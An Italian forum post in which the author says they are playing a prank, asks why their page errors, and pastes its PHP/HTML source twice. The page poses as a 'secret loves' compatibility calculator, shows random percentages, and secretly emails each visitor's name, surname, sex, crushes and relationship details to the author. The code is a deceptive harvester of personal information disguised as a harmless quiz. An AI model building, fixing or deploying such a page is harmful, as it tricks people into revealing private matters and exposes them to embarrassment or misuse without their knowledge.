Sto facendo uno scherzo ma nel compilare la pagina mi viene dato un'errore. Questo è il testo
<html><HEAD>
<TITLE>Calcolo in corso...</TITLE>
</HEAD>
<CENTER><h1><font color=black>Calcolo in corso...</font></h1></CENTER><hr>
<body><font size=4>
<body bgcolor="red">
<?php
// L'INDIRIZZO DEL DESTINATARIO DELLA MAIL
$to = "[email protected]";
// IL SOGGETTO DELLA MAIL
$subject = "Amori segreti";
// COSTRUZIONE DEL CORPO DEL MESSAGGIO
$body = "Contenuto del modulo:\n\n";
$body .= "Ecco il forum compilato" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Nome: " . trim(stripslashes($_POST["nome"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Cognome: " . trim(stripslashes($_POST["cognome"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Sesso: " . trim(stripslashes($_POST["sesso"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Prima persona: " . trim(stripslashes($_POST["partner"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Seconda persona: " . trim(stripslashes($_POST["partner2"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Terza persona: " . trim(stripslashes($_POST["partner3"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Da quanto tempo conosce la prima persona: " . trim(stripslashes($_POST["tempo"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Che rapporto c'è?" . trim(stripslashes($_POST["rapporti"])) . "\n";
// INTESTAZIONI SUPPLEMENTARI
$headers = "From: Amori segreti>";
// INVIO DELLA MAIL
if(@mail($to, $subject, $body, $headers)) { // SE L'INOLTRO E' ANDATO A BUON FINE...
echo "Complimenti vengono riportati di seguito le affinità di coppia:<BR><BR>
<script language="Javascript">
var num1 = Math.round(99*Math.random());
document.write("Prima persona: " + num1 +"% - ");
var num2 = Math.round(99*Math.random());
document.write("Seconda persona partner: " + num2 +"% - ");
var num3 = Math.round(99*Math.random());
document.write("Terza persona partner: " + num3 +"% - ");
</script>
<BR><BR><BR><center><img src=http://www.rce.it/CarmineEbay/Immagini/cuori.jpg></center><br><br>
Grazie per aver utilizzato il nostro servizio";
} else {// ALTRIMENTI...
echo "Si sono verificati dei problemi nell’elaborazione.";
}
?>
<html>
<BR>
<BR>
<BR>
<a href=http://www.marcotorre.altervista.org>Torna alla home page</a>
<BR>
</font></body></html>
<html><HEAD>
<TITLE>Calcolo in corso...</TITLE>
</HEAD>
<CENTER><h1><font color=black>Calcolo in corso...</font></h1></CENTER><hr>
<body><font size=4>
<body bgcolor="red">
<?php
// L'INDIRIZZO DEL DESTINATARIO DELLA MAIL
$to = "[email protected]";
// IL SOGGETTO DELLA MAIL
$subject = "Amori segreti";
// COSTRUZIONE DEL CORPO DEL MESSAGGIO
$body = "Contenuto del modulo:\n\n";
$body .= "Ecco il forum compilato" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Nome: " . trim(stripslashes($_POST["nome"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Cognome: " . trim(stripslashes($_POST["cognome"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Sesso: " . trim(stripslashes($_POST["sesso"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Prima persona: " . trim(stripslashes($_POST["partner"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Seconda persona: " . trim(stripslashes($_POST["partner2"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Terza persona: " . trim(stripslashes($_POST["partner3"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Da quanto tempo conosce la prima persona: " . trim(stripslashes($_POST["tempo"])) . "\n";
$body .= "" . trim(stripslashes($_POST["spazio"])) . "\n";
$body .= "Che rapporto c'è?" . trim(stripslashes($_POST["rapporti"])) . "\n";
// INTESTAZIONI SUPPLEMENTARI
$headers = "From: Amori segreti>";
// INVIO DELLA MAIL
if(@mail($to, $subject, $body, $headers)) { // SE L'INOLTRO E' ANDATO A BUON FINE...
echo "Complimenti vengono riportati di seguito le affinità di coppia:<BR><BR>
<script language="Javascript">
var num1 = Math.round(99*Math.random());
document.write("Prima persona: " + num1 +"% - ");
var num2 = Math.round(99*Math.random());
document.write("Seconda persona partner: " + num2 +"% - ");
var num3 = Math.round(99*Math.random());
document.write("Terza persona partner: " + num3 +"% - ");
</script>
<BR><BR><BR><center><img src=http://www.rce.it/CarmineEbay/Immagini/cuori.jpg></center><br><br>
Grazie per aver utilizzato il nostro servizio";
} else {// ALTRIMENTI...
echo "Si sono verificati dei problemi nell’elaborazione.";
}
?>
<html>
<BR>
<BR>
<BR>
<a href=http://www.marcotorre.altervista.org>Torna alla home page</a>
<BR>
</font></body></html>